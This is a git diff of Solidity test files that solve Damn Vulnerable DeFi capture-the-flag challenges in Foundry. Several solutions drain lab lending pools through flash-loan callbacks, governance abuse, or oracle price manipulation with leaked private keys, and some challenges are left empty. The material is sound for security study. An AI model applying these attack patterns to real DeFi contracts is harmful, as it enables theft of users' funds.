player, TOKENS_IN_POOL); + pool.flashLoan(0, player, address(token), _callData); + token.transferFrom(address(pool), player, TOKENS_IN_POOL); + + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(token.balanceOf(player), TOKENS_IN_POOL, "player"); + assertEq(token.balanceOf(address(pool)), 0, "pool"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol new file mode 100644 index 0000000..b345d23 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol @@ -0,0 +1,64 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { SideEntranceLenderPool, SideEntranceAttack } from "@contracts/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/04.Side-Entrance.t.sol -vvvvv +*/ + +contract Challenge_4_Side_Entrance_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + SideEntranceLenderPool private pool; + DamnValuableToken private token; + uint256 private ETHER_IN_POOL = 1000 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 1 ether; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + pool = new SideEntranceLenderPool(); + vm.deal(deployer, type(uint256).max); + pool.deposit{ value: ETHER_IN_POOL }(); + assertEq(address(pool).balance, ETHER_IN_POOL, "ETHER_IN_POOL"); + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(address(player).balance, PLAYER_INITIAL_ETH_BALANCE, "ETHER_IN_POOL"); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + SideEntranceAttack hackInst = new SideEntranceAttack(address(pool), player); + // pool.deposit{ value: player.balance }(); + hackInst.attack(); + // burn extra token + (bool isSuccess,) = address(0).call{ value: player.balance - ETHER_IN_POOL }(""); + require(isSuccess, ""); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(player.balance, ETHER_IN_POOL, "player"); + assertEq(address(pool).balance, 0, "pool"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol new file mode 100644 index 0000000..279d06b --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { + FlashLoanerPool, + TheRewarderPool, + RewardToken, + AccountingToken, + FixedPointMathLib, + TheRewarderHack +} from "@contracts/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.sol"; +// OpenZeppelin v5 version +import { Math } from "@openzeppelin/contracts/utils/math/Math.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/05.The-Rewarder.t.sol -vvvvv +*/ +/* solhint-disable reentrancy */ +contract Challenge_5_The_Rewarder_Test is Test { + using FixedPointMathLib for uint256; + + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + address private alice = address(5); + address private bob = address(6); + address private charlie = address(7); + address private david = address(8); + address[4] private users = [alice, bob, charlie, david]; + + TheRewarderPool private rewarderPool; + RewardToken private rewardToken; + AccountingToken private accountingToken; + DamnValuableToken private liquidityToken; + FlashLoanerPool private flashLoanPool; + + uint256 private TOKENS_IN_LENDER_POOL = 1_000_000 ether; + + function setUp() public { + _before(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + liquidityToken = new DamnValuableToken(); + flashLoanPool = new FlashLoanerPool(address(liquidityToken)); + liquidityToken.transfer(address(flashLoanPool), TOKENS_IN_LENDER_POOL); + + rewarderPool = new TheRewarderPool(address(liquidityToken)); + rewardToken = RewardToken(rewarderPool.rewardToken()); + accountingToken = AccountingToken(rewarderPool.accountingToken()); + + assertEq(accountingToken.owner(), address(rewarderPool)); + + uint256 mintRole = accountingToken.MINTER_ROLE(); + uint256 snapShotRole = accountingToken.SNAPSHOT_ROLE(); + uint256 burnerRole = accountingToken.BURNER_ROLE(); + + assertTrue(accountingToken.hasAllRoles(address(rewarderPool), mintRole | snapShotRole | burnerRole)); + + uint256 depositAmount = 100 ether; + for (uint256 i = 0; i < users.length; i++) { + liquidityToken.transfer(users[i], depositAmount); + vm.startPrank(users[i]); + + liquidityToken.approve(address(rewarderPool), depositAmount); + rewarderPool.deposit(depositAmount); + assertEq(accountingToken.balanceOf(users[i]), depositAmount); + + vm.stopPrank(); + } + vm.warp(block.timestamp + 5 days); + + uint256 rewardInRound = rewarderPool.REWARDS(); + for (uint256 i = 0; i < users.length; i++) { + vm.startPrank(users[i]); + + rewarderPool.distributeRewards(); + (, uint256 _tmp) = Math.tryDiv(rewardInRound, users.length); + assertEq(rewardToken.balanceOf(users[i]), _tmp); + + vm.stopPrank(); + } + assertEq(rewardToken.totalSupply(), rewardInRound); + assertEq(liquidityToken.balanceOf(address(player)), 0); + assertEq(rewarderPool.roundNumber(), 2); + vm.warp(block.timestamp + 5 days); + } + + function test_Exploit() public { + vm.startPrank(player); + /* START CODE YOUR SOLUTION HERE */ + + TheRewarderHack hackInst = + new TheRewarderHack(address(flashLoanPool), address(rewarderPool), address(liquidityToken), address(rewardToken)); + hackInst.attack(); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + assertEq(rewarderPool.roundNumber(), 3); + for (uint256 i = 0; i < users.length; i++) { + vm.startPrank(users[i]); + rewarderPool.distributeRewards(); + uint256 userReward = rewardToken.balanceOf(users[i]); + uint256 userDelta = userReward.rawSub(rewarderPool.REWARDS().rawDiv(users.length)); + assertTrue(userDelta < 1e16); + vm.stopPrank(); + } + + // rewards must have been issued to the player account + assertGt(rewardToken.totalSupply(), rewarderPool.REWARDS()); + uint256 playerRewards = rewardToken.balanceOf(address(player)); + assertGt(playerRewards, 0); + + // the amount of rewards earned should be close to total available amount + uint256 delta = rewarderPool.REWARDS().rawSub(playerRewards); + assertLt(delta, 1e17); + + // balance of dvt tokens is player and lending pool hasn't changed + assertEq(liquidityToken.balanceOf(address(player)), 0); + assertEq(liquidityToken.balanceOf(address(flashLoanPool)), TOKENS_IN_LENDER_POOL); + } +} + +/* solhint-enable reentrancy */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol new file mode 100644 index 0000000..f9fa543 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableTokenSnapshot } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableTokenSnapshot.sol"; +import { SimpleGovernance, SelfiePool, SelfieHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/06.Selfie.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/06.Selfie.t.sol -vvvvv +*/ + +contract Challenge_6_Selfie_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + uint256 private constant TOKEN_INITIAL_SUPPLY = 2_000_000 ether; + uint256 private constant TOKENS_IN_POOL = 1_500_000 ether; + + DamnValuableTokenSnapshot private token; + SimpleGovernance private governance; + SelfiePool private pool; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + vm.startPrank(player); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + // address payable[] memory users = util.createUsers(2); + // deployer = users[0]; + // player = users[1]; + + token = new DamnValuableTokenSnapshot(TOKEN_INITIAL_SUPPLY); + governance = new SimpleGovernance(address(token)); + + assertEq(governance.getActionCounter(), 1); + + pool = new SelfiePool(address(token), address(governance)); + + token.transfer(address(pool), TOKENS_IN_POOL); + token.snapshot(); + assertEq(token.balanceOf(address(pool)), TOKENS_IN_POOL); + assertEq(pool.maxFlashLoan(address(token)), TOKENS_IN_POOL); + assertEq(pool.flashFee(address(token), 0), 0); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + SelfieHack attacker = new SelfieHack(address(pool), address(governance), address(token)); + attacker.attack(TOKENS_IN_POOL); + vm.warp(block.timestamp + 2 days); + attacker.executeAction(); + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + // It is no longer possible to execute flash loans + vm.startPrank(deployer); + assertEq(token.balanceOf(address(player)), TOKENS_IN_POOL); + assertEq(token.balanceOf(address(pool)), 0); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol new file mode 100644 index 0000000..2db1ea9 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol @@ -0,0 +1,116 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { + Exchange, + TrustfulOracle, + DamnValuableNFT, + TrustfulOracleInitializer +} from "@contracts/CTF/Damn-Vulnerable-DeFi/07.Compromised.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/07.Compromised.t.sol -vvvvv +*/ + +contract Challenge_7_Compromised_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + uint256 private constant EXCHANGE_INITIAL_ETH_BALANCE = 999 ether; + uint256 private constant TRUSTED_SOURCE_INITIAL_ETH_BALANCE = 2 ether; + uint256 private constant PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; + uint256 private constant INITIAL_NFT_PRICE = 999 ether; + + TrustfulOracle private oracle; + Exchange private exchange; + DamnValuableNFT private nftToken; + + address[] private sources = [ + 0xA73209FB1a42495120166736362A1DfA9F95A105, + 0xe92401A4d3af5E446d93D11EEc806b1462b39D15, + 0x81A5D6E50C214044bE44cA0CB057fe119097850c + ]; + address private oracle1; + address private oracle2; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + for (uint256 i = 0; i < sources.length; i++) { + vm.deal(sources[i], TRUSTED_SOURCE_INITIAL_ETH_BALANCE); + assertEq(sources[i].balance, TRUSTED_SOURCE_INITIAL_ETH_BALANCE); + } + + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE); + + string[] memory symbols = new string[](3); + uint256[] memory initialPrices = new uint256[](3); + + for (uint256 i = 0; i < 3; i++) { + symbols[i] = "DVNFT"; + initialPrices[i] = INITIAL_NFT_PRICE; + } + + TrustfulOracleInitializer initializer = new TrustfulOracleInitializer(sources, symbols, initialPrices); + oracle = TrustfulOracle(initializer.oracle()); + exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(address(oracle)); + nftToken = DamnValuableNFT(exchange.token()); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + // 0xe92401A4d3af5E446d93D11EEc806b1462b39D15 + oracle1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9); + // 0x81A5D6E50C214044bE44cA0CB057fe119097850c + oracle2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48); + + _postPrice(0.0001 ether); + + vm.startPrank(player); + uint256 id = exchange.buyOne{ value: 0.0001 ether }(); + vm.stopPrank(); + + uint256 exchangeBalance = address(exchange).balance; + _postPrice(exchangeBalance); + + vm.startPrank(player); + nftToken.approve(address(exchange), id); + exchange.sellOne(id); + vm.stopPrank(); + + _postPrice(INITIAL_NFT_PRICE); + + /* END CODE YOUR SOLUTION */ + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + + vm.startPrank(deployer); + assertEq(address(exchange).balance, 0); + assertGt(address(player).balance, EXCHANGE_INITIAL_ETH_BALANCE); + assertEq(nftToken.balanceOf(player), 0); + assertEq(oracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE); + vm.stopPrank(); + } + + function _postPrice(uint256 price) internal { + vm.startPrank(oracle1); + oracle.postPrice("DVNFT", price); + vm.stopPrank(); + vm.startPrank(oracle2); + oracle.postPrice("DVNFT", price); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol new file mode 100644 index 0000000..5f23dcb --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/08.Puppet.t.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv +*/ + +contract Challenge_8_Puppet_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + DamnValuableToken public token; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // ... + + /* END CODE YOUR SOLUTION */ + vm.startPrank(deployer); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol new file mode 100644 index 0000000..81e70f1 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol @@ -0,0 +1,155 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { PRBTest } from "@dev/prb-test/src/PRBTest.sol"; +import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { + FreeRiderNFTMarketplace, + FreeRiderRecovery, + FreeRiderHack, + IWETH +} from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.sol"; +import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; +import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; +import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol"; +import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv +*/ +/* solhint-disable max-states-count,avoid-tx-origin */ +contract Challenge_10_Free_Rider_Test is PRBTest { + // hacking attack address + address private deployer = address(1); + address private devs = address(2); + address private player = address(2333); + + // The NFT marketplace will have 6 tokens, at 15 ETH each + uint256 private NFT_PRICE = 15 ether; + uint256 private constant AMOUNT_OF_NFTS = 6; + uint256 private MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; + uint256 private BOUNTY = 45 ether; + // Initial reserves for the Uniswap v2 pool + uint256 private UNISWAP_INITIAL_TOKEN_RESERVE = 15_000 ether; + uint256 private UNISWAP_INITIAL_WETH_RESERVE = 9000 ether; + + IWETH private weth; + IUniswapV2Router02 private uniswapRouter; + IUniswapV2Factory private uniswapFactory; + IUniswapV2Pair private uniswapPair; + DamnValuableToken private token; + DamnValuableNFT private nft; + FreeRiderNFTMarketplace private marketplace; + FreeRiderRecovery private devsContract; + + uint256[] private _offerManyTokenIds; + uint256[] private _offerManyPrices; + + function setUp() public { + // vm.startPrank(deployer); + vm.createSelectFork({ urlOrAlias: "mainnet" }); + vm.deal(deployer, type(uint256).max); + vm.deal(devs, type(uint256).max); + _before(); + // vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + + // Player starts with limited ETH balance + vm.deal(player, PLAYER_INITIAL_ETH_BALANCE); + assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE); + // Deploy WETH + // https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code + weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); + + // Deploy token to be traded against WETH in Uniswap v2 + token = new DamnValuableToken(); + + // Deploy Uniswap Factory and Router + // https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code + uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); + // https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code + uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); + // Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity + // The function takes care of deploying the pair automatically + token.approve(address(uniswapRouter), UNISWAP_INITIAL_TOKEN_RESERVE); + uniswapRouter.addLiquidityETH{ value: UNISWAP_INITIAL_WETH_RESERVE }( + address(token), UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, deployer, block.timestamp * 2 + ); + + // Get a reference to the created Uniswap pair + uniswapPair = IUniswapV2Pair(uniswapFactory.getPair(address(token), address(weth))); + + assertEq(uniswapPair.token0(), address(token), ""); + assertEq(uniswapPair.token1(), address(weth), ""); + assertGt(uniswapPair.balanceOf(deployer), 0, ""); + vm.startPrank(deployer); + // Deploy the marketplace and get the associated ERC721 token + // The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see + marketplace = new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS); + + // Deploy NFT contract + nft = DamnValuableNFT(marketplace.token()); + assertEq(nft.owner(), address(0), ""); + assertEq(nft.rolesOf(address(marketplace)), nft.MINTER_ROLE(), ""); + + // Ensure deployer owns all minted NFTs. Then approve the marketplace to trade them. + for (uint256 id = 1; id < AMOUNT_OF_NFTS; id++) { + assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)"); + } + nft.setApprovalForAll(address(marketplace), true); + // Open offers in the marketplace + for (uint256 id = 0; id < AMOUNT_OF_NFTS; id++) { + _offerManyTokenIds.push(id); + _offerManyPrices.push(NFT_PRICE); + } + marketplace.offerMany(_offerManyTokenIds, _offerManyPrices); + + // Deploy devs' contract, adding the player as the beneficiary + // mock player => tx.origin + vm.startPrank(devs); + devsContract = new FreeRiderRecovery{ value: BOUNTY }(tx.origin, address(nft)); + vm.stopPrank(); + } + + function test_Exploit() public { + vm.startPrank(player); + /* START CODE YOUR SOLUTION HERE */ + + // ... + FreeRiderHack hackInst = + new FreeRiderHack(address(uniswapPair), payable(marketplace), address(weth), address(nft), address(devsContract)); + (bool isSuccess,) = address(hackInst).call{ value: player.balance }(""); + assertEq(isSuccess, true, ""); + hackInst.attack(); + + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + vm.startPrank(devs); + + // The devs extract all NFTs from its associated contract + for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) { + nft.transferFrom(address(devsContract), devs, tokenId); + assertEq(nft.ownerOf(tokenId), devs, ""); + } + + // Exchange must have lost NFTs and ETH + assertEq(marketplace.offersCount(), 0, ""); + + // Player must have earned all ETH + assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE, ""); + assertEq(address(devsContract).balance, 0, ""); + vm.stopPrank(); + } +} +/* solhint-enable max-states-count,avoid-tx-origin */ diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol new file mode 100644 index 0000000..f5a720f --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol @@ -0,0 +1,98 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { GnosisSafe } from "@gnosis.pm/safe-contracts-v1.3.0/GnosisSafe.sol"; +import { GnosisSafeProxyFactory } from "@gnosis.pm/safe-contracts-v1.3.0/proxies/GnosisSafeProxyFactory.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { WalletRegistry, BackdoorHack } from "@contracts/CTF/Damn-Vulnerable-DeFi/11.Backdoor.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/11.Backdoor.t.sol -vvvvv +*/ + +contract Challenge_11_Backdoor_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + + address private alice = address(5); + address private bob = address(6); + address private charlie = address(7); + address private david = address(8); + address[] private _initialBeneficiaries; + + uint256 private AMOUNT_TOKENS_DISTRIBUTED = 40 ether; + + DamnValuableToken private token; + GnosisSafe private masterCopy; + GnosisSafeProxyFactory private walletFactory; + WalletRegistry private walletRegistry; + + function setUp() public { + vm.deal(deployer, type(uint256).max); + _before(); + // vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + vm.startPrank(deployer); + masterCopy = new GnosisSafe(); + walletFactory = new GnosisSafeProxyFactory(); + token = new DamnValuableToken(); + + vm.label(alice, "alice"); + vm.label(bob, "bob"); + vm.label(charlie, "charlie"); + vm.label(david, "david"); + _initialBeneficiaries.push(alice); + _initialBeneficiaries.push(bob); + _initialBeneficiaries.push(charlie); + _initialBeneficiaries.push(david); + + walletRegistry = + new WalletRegistry(address(masterCopy),address(walletFactory), address(token), _initialBeneficiaries); + token.transfer(address(walletRegistry), AMOUNT_TOKENS_DISTRIBUTED); + + assertEq(walletRegistry.owner(), deployer, ""); + for (uint256 i = 0; i < _initialBeneficiaries.length; i++) { + assertTrue(walletRegistry.beneficiaries(_initialBeneficiaries[i]), ""); + vm.startPrank(_initialBeneficiaries[i]); + vm.expectRevert(); + walletRegistry.addBeneficiary(_initialBeneficiaries[i]); + vm.stopPrank(); + } + } + + function test_Exploit() public { + vm.startPrank(player); + /* START CODE YOUR SOLUTION HERE */ + + new BackdoorHack(address(walletRegistry), _initialBeneficiaries); + + /* END CODE YOUR SOLUTION */ + vm.stopPrank(); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + vm.startPrank(deployer); + + // Player must have used a single transaction [forge doesn't seem to support] + // expect(await ethers.provider.getTransactionCount(player.address)).to.eq(1); + + for (uint256 i = 0; i < _initialBeneficiaries.length; i++) { + // User must have registered a wallet + address wallet = walletRegistry.wallets(_initialBeneficiaries[i]); + assertTrue(wallet != address(0), ""); + // User is no longer registered as a beneficiary + assertFalse(walletRegistry.beneficiaries(_initialBeneficiaries[i])); + } + // Player must own all tokens + assertEq(token.balanceOf(player), AMOUNT_TOKENS_DISTRIBUTED, "AMOUNT_TOKENS_DISTRIBUTED"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol new file mode 100644 index 0000000..91f9ffd --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; +import { ClimberVault } from "@contracts/CTF/Damn-Vulnerable-DeFi/12.Climber.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/12.Climber.t.sol -vvvvv +*/ + +contract Challenge_12_Climber_Test is Test { + // hacking attack address + address private deployer = address(1); + address private proposer = address(2); + address private sweeper = address(2); + address private player = address(2333); + + uint256 private VAULT_TOKEN_BALANCE = 10_000_000 ether; + uint256 private PLAYER_INITIAL_ETH_BALANCE = 0.1 ether; + uint256 private TIMELOCK_DELAY = 60 * 60; + + DamnValuableToken public token; + ClimberVault private valut; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + valut = new ClimberVault(); + // valut.initialize(deployer, proposer, sweeper); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // ... + + /* END CODE YOUR SOLUTION */ + vm.startPrank(deployer); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol new file mode 100644 index 0000000..29e8dc1 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/13.Wallet-Mining.t.sol -vvvvv +*/ + +contract Challenge_13_Wallet_Mining_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + DamnValuableToken public token; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ + + // ... + + /* END CODE YOUR SOLUTION */ + vm.startPrank(deployer); + _after(); + } + + function _after() public { + /* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */ + assertEq(token.totalSupply(), type(uint256).max, "CHECK totalSupply()"); + vm.stopPrank(); + } +} diff --git a/foundry/test/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol b/foundry/test/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol new file mode 100644 index 0000000..649fba0 --- /dev/null +++ b/foundry/test/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol @@ -0,0 +1,45 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import { Test } from "@dev/forge-std/src/Test.sol"; +import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableToken.sol"; + +/* + forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/14.Puppet-V3.t.sol -vvvvv +*/ + +contract Challenge_14_Puppet_V3_Test is Test { + // hacking attack address + address private deployer = address(1); + address private feeRecipient = address(2); + address private player = address(2333); + DamnValuableToken public token; + + function setUp() public { + vm.startPrank(deployer); + vm.deal(deployer, type(uint256).max); + _before(); + vm.stopPrank(); + } + + function _before() public { + /* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */ + token = new DamnValuableToken(); + } + + function test_Exploit() public { + /* START CODE YOUR SOLUTION HERE */ 